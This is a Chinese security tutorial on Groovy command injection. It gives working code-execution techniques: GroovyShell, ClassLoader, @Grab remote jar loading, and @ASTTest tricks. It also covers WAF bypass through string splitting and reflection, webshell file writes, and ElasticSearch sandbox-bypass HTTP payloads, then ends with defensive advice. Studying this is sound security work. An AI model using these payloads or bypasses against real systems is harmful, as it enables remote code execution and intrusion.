JAVA安全之Groovy命令注入刨析
字数 1535 2025-08-22 12:22:42

Groovy命令注入安全分析与防御指南

1. Groovy简介

Groovy是一种基于Java平台的动态语言,设计目标是为Java开发者提供更简洁、高效和灵活的方式来编写代码。它具有以下特点:

  • 与Java语言具有良好的兼容性
  • 允许在Java项目中无缝使用Groovy代码
  • 提供简洁的语法和强大的功能
  • 可用于脚本编写、自动化以及构建工具等多个场景
  • 可以轻松地执行命令行命令

2. Groovy命令执行方式

2.1 GroovyShell执行

GroovyShell是Groovy提供的强大工具,可用于动态执行Groovy代码片段。

基本示例:

import groovy.lang.GroovyShell;

public class GroovyShellExample {
    public static void main(String[] args) {
        GroovyShell shell = new GroovyShell();
        String script = "def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe'); process.waitFor(); } catch (Exception e) { println 'Error:' + e.message;} };runCalculator()";
        shell.evaluate(script);
    }
}

执行流程分析:

  1. 调用groovy.lang.GroovyShell#evaluate(java.lang.String)执行命令
  2. 随机生成一个ScriptName作为groovy脚本的名称
  3. 设置执行Groovy的命令执行为/groovy/shell
  4. 调用parse进行脚本解析
  5. 调用script.run执行脚本

2.2 本地加载执行

方式1:从本地文件加载

import groovy.lang.GroovyShell;
import groovy.lang.Script;
import java.io.File;
import java.io.IOException;

public class GroovyShellLocalRun {
    public static void main(String[] args) throws IOException {
        GroovyShell shell = new GroovyShell();
        Script script = shell.parse(new File("src/main/java/com/groovyDemo/GroovyTest.groovy"));
        script.run();
    }
}

方式2:通过evaluate方法执行

shell.evaluate(new File("src/main/java/com/groovyDemo/GroovyTest.groovy"));

2.3 远程加载执行

import groovy.lang.GroovyShell;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;

public class GroovyShellRemoteRun {
    public static void main(String[] args) throws IOException, URISyntaxException {
        GroovyShell shell = new GroovyShell();
        shell.evaluate(new URI("http://127.0.0.1:8888/GroovyTest.groovy"));
    }
}

2.4 MethodClosure执行

MethodClosure是Groovy中的一个类,允许将方法与特定对象绑定在一起。

示例1:

import org.codehaus.groovy.runtime.MethodClosure;

public class MethodClosureRun {
    public static void main(String[] args) throws Exception {
        MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
        mc.call("calc");
    }
}

示例2:

import org.codehaus.groovy.runtime.MethodClosure;

public class MethodClosureRun2 {
    public static void main(String[] args) {
        MethodClosure methodClosure = new MethodClosure("calc", "execute");
        methodClosure.call();
    }
}

2.5 GroovyScriptEngine执行

GroovyScriptEngine可用于动态加载和执行Groovy脚本,支持从本地文件系统或远程位置加载脚本。

本地加载方式1:

import groovy.util.GroovyScriptEngine;

public class GroovyScriptEngineRun {
    public static void main(String[] args) throws Exception {
        GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovyDemo");
        scriptEngine.run("GroovyTest.groovy", "");
    }
}

本地加载方式2(通过Binding):

import groovy.lang.Binding;
import groovy.util.GroovyScriptEngine;

public class GroovyScriptEngineRun2 {
    public static void main(String[] args) throws Exception {
        GroovyScriptEngine scriptEngine = new GroovyScriptEngine("");
        scriptEngine.run("src/main/java/com/groovyDemo/GroovyTest.groovy", new Binding());
    }
}

远程加载:

import groovy.lang.Binding;
import groovy.util.GroovyScriptEngine;

public class GroovyScriptEngineRun3 {
    public static void main(String[] args) throws Exception {
        GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");
        scriptEngine.run("GroovyTest.groovy", "");
    }
}

2.6 GroovyClassLoader执行

GroovyClassLoader可用于动态加载和编译Groovy类。

字符串加载:

import groovy.lang.GroovyClassLoader;

public class GroovyClassLoaderRun {
    public static void main(String[] args) throws Exception {
        GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
        String groovyCode = "class CalculatorOpener { void openCalculator() { try { Runtime.getRuntime().exec(\"calc.exe\"); } catch (Exception e) { e.printStackTrace(); } } }";
        Class<?> calculatorOpenerClass = groovyClassLoader.parseClass(groovyCode);
        Object calculatorOpenerInstance = calculatorOpenerClass.getDeclaredConstructor().newInstance();
        calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);
    }
}

本地文件加载:

import groovy.lang.GroovyClassLoader;
import java.io.File;

public class GroovyClassLoaderRun2 {
    public static void main(String[] args) {
        GroovyClassLoader classLoader = new GroovyClassLoader();
        try {
            File groovyFile = new File("src/main/java/com/groovyDemo/CalculatorOpener.groovy");
            Class<?> calculatorOpenerClass = classLoader.parseClass(groovyFile);
            Object calculatorOpenerInstance = calculatorOpenerClass.getDeclaredConstructor().newInstance();
            calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

远程加载:

import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyCodeSource;
import java.io.IOException;
import java.net.URL;

public class GroovyClassLoaderRun3 {
    public static void main(String[] args) throws IOException {
        GroovyClassLoader classLoader = new GroovyClassLoader();
        try {
            URL groovyFileUrl = new URL("http://127.0.0.1/CalculatorOpener.groovy");
            GroovyCodeSource codeSource = new GroovyCodeSource(groovyFileUrl);
            Class<?> calculatorOpenerClass = classLoader.parseClass(codeSource);
            Object calculatorOpenerInstance = calculatorOpenerClass.getDeclaredConstructor().newInstance();
            calculatorOpenerClass.getMethod("openCalculator").invoke(calculatorOpenerInstance);
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            classLoader.close();
        }
    }
}

2.7 ScriptEngine执行

ScriptEngine支持名为groovy的引擎,可用于执行Groovy代码。

示例:

import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;

public class GroovyScriptEngineExample {
    public static void main(String[] args) {
        ScriptEngineManager manager = new ScriptEngineManager();
        ScriptEngine engine = manager.getEngineByName("groovy");
        String script = "def runCalculator(){try{def process = Runtime.getRuntime().exec('calc.exe');process.waitFor();} catch (Exception e) {println 'Error:' + e.message;}};runCalculator()";
        try {
            Object result = engine.eval(script);
        } catch (ScriptException e) {
            e.printStackTrace();
        }
    }
}

2.8 @AST注解执行断言

使用@AST注解可以执行断言从而实现代码执行。

示例:

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value = { assert Runtime.getRuntime().exec("calc") })
def x
''');

2.9 @Grab注解命令执行

@Grab注解允许在运行时动态引入和下载依赖的库。

利用步骤:

  1. 创建恶意类的jar包
public class Exp {
    public Exp(){
        try {
            java.lang.Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
        }
    }
}
  1. 编译并托管jar包
  2. 构造Groovy脚本
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:1234/')
@Grab(group='test', module='poc', version='0')
import Exp;
''')

3. 文件操作

3.1 文件读取

方式1:

text = new File("C:\\Windows\\system.ini").eachLine { println it; }

方式2:

lineList = new File("C:\\Windows\\system.ini").readLines();
lineList.each { println it.toUpperCase(); }

3.2 文件写入

方式1:

new File("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write('Hello Al1ex');

方式2:

new File("C:\\Users\\RedTeam\\Desktop\\SecTest\\shell.jsp").write("""
Good morning
Good afternoon
Good evening
""");

4. WAF绕过技巧

  1. 常规执行方式:
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
  1. 结果回显:
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami"; println "${cmd.execute().text}"
  1. 反射调用:
import java.lang.reflect.Method;
Class<?> rt = Class.forName("java.lan" + "g.Run" + "time");
Method gr = rt.getMethod("getRun" + "time");
Method ex = rt.getMethod("exe" + "c", String.class);
ex.invoke(gr.invoke(null), "cal" + "c")

5. 实际案例:ElasticSearch Groovy沙盒绕过

5.1 Java沙盒绕过法

使用Java反射绕过沙盒:

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

HTTP请求示例:

POST /_search HTTP/1.1
Host: 192.168.189.130:9200
Content-Length: 158

{
    "size":1,
    "script_fields":{
        "lupin":{
            "lang":"groovy",
            "script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"
        }
    }
}

5.2 Groovy直接执行

使用Groovy语言直接执行命令:

def command = "whoami";
def res = command.execute().text;
res

HTTP请求示例:

POST /_search HTTP/1.1
Host: 192.168.189.130:9200
Content-Length: 122

{
    "script_fields":{
        "my_field":{
            "script":"def command=\"whoami\";def res=command.execute().text;res",
            "lang":"groovy"
        }
    }
}

6. 防御措施

  1. 输入验证与过滤:

    • 对用户输入的Groovy脚本进行严格验证
    • 过滤危险函数和关键字(如Runtime、exec等)
  2. 沙盒限制:

    • 使用Groovy沙盒限制脚本执行权限
    • 禁用危险操作和系统调用
  3. 访问控制:

    • 限制Groovy脚本的来源(仅允许可信来源)
    • 禁止远程加载Groovy脚本
  4. 安全配置:

    • 禁用不必要的Groovy功能
    • 使用最小权限原则运行应用
  5. 代码审查:

    • 定期审查使用Groovy的代码
    • 检查是否有不安全的Groovy执行方式
  6. 依赖管理:

    • 使用最新版本的Groovy和相关库
    • 及时修复已知漏洞

7. 总结

Groovy作为一种强大的动态语言,在提供便利的同时也带来了安全风险。本文详细介绍了Groovy命令执行的各种方式、文件操作、WAF绕过技巧以及实际案例,并提供了相应的防御措施。在实际开发中,应谨慎使用Groovy的动态执行功能,特别是在处理用户输入时,必须实施严格的安全控制措施。

Groovy命令注入安全分析与防御指南 1. Groovy简介 Groovy是一种基于Java平台的动态语言,设计目标是为Java开发者提供更简洁、高效和灵活的方式来编写代码。它具有以下特点: 与Java语言具有良好的兼容性 允许在Java项目中无缝使用Groovy代码 提供简洁的语法和强大的功能 可用于脚本编写、自动化以及构建工具等多个场景 可以轻松地执行命令行命令 2. Groovy命令执行方式 2.1 GroovyShell执行 GroovyShell是Groovy提供的强大工具,可用于动态执行Groovy代码片段。 基本示例: 执行流程分析: 调用 groovy.lang.GroovyShell#evaluate(java.lang.String) 执行命令 随机生成一个ScriptName作为groovy脚本的名称 设置执行Groovy的命令执行为 /groovy/shell 调用parse进行脚本解析 调用script.run执行脚本 2.2 本地加载执行 方式1:从本地文件加载 方式2:通过evaluate方法执行 2.3 远程加载执行 2.4 MethodClosure执行 MethodClosure是Groovy中的一个类,允许将方法与特定对象绑定在一起。 示例1: 示例2: 2.5 GroovyScriptEngine执行 GroovyScriptEngine可用于动态加载和执行Groovy脚本,支持从本地文件系统或远程位置加载脚本。 本地加载方式1: 本地加载方式2(通过Binding): 远程加载: 2.6 GroovyClassLoader执行 GroovyClassLoader可用于动态加载和编译Groovy类。 字符串加载: 本地文件加载: 远程加载: 2.7 ScriptEngine执行 ScriptEngine支持名为groovy的引擎,可用于执行Groovy代码。 示例: 2.8 @AST注解执行断言 使用@AST注解可以执行断言从而实现代码执行。 示例: 2.9 @Grab注解命令执行 @Grab注解允许在运行时动态引入和下载依赖的库。 利用步骤: 创建恶意类的jar包 编译并托管jar包 构造Groovy脚本 3. 文件操作 3.1 文件读取 方式1: 方式2: 3.2 文件写入 方式1: 方式2: 4. WAF绕过技巧 常规执行方式: 结果回显: 反射调用: 5. 实际案例:ElasticSearch Groovy沙盒绕过 5.1 Java沙盒绕过法 使用Java反射绕过沙盒: HTTP请求示例: 5.2 Groovy直接执行 使用Groovy语言直接执行命令: HTTP请求示例: 6. 防御措施 输入验证与过滤: 对用户输入的Groovy脚本进行严格验证 过滤危险函数和关键字(如Runtime、exec等) 沙盒限制: 使用Groovy沙盒限制脚本执行权限 禁用危险操作和系统调用 访问控制: 限制Groovy脚本的来源(仅允许可信来源) 禁止远程加载Groovy脚本 安全配置: 禁用不必要的Groovy功能 使用最小权限原则运行应用 代码审查: 定期审查使用Groovy的代码 检查是否有不安全的Groovy执行方式 依赖管理: 使用最新版本的Groovy和相关库 及时修复已知漏洞 7. 总结 Groovy作为一种强大的动态语言,在提供便利的同时也带来了安全风险。本文详细介绍了Groovy命令执行的各种方式、文件操作、WAF绕过技巧以及实际案例,并提供了相应的防御措施。在实际开发中,应谨慎使用Groovy的动态执行功能,特别是在处理用户输入时,必须实施严格的安全控制措施。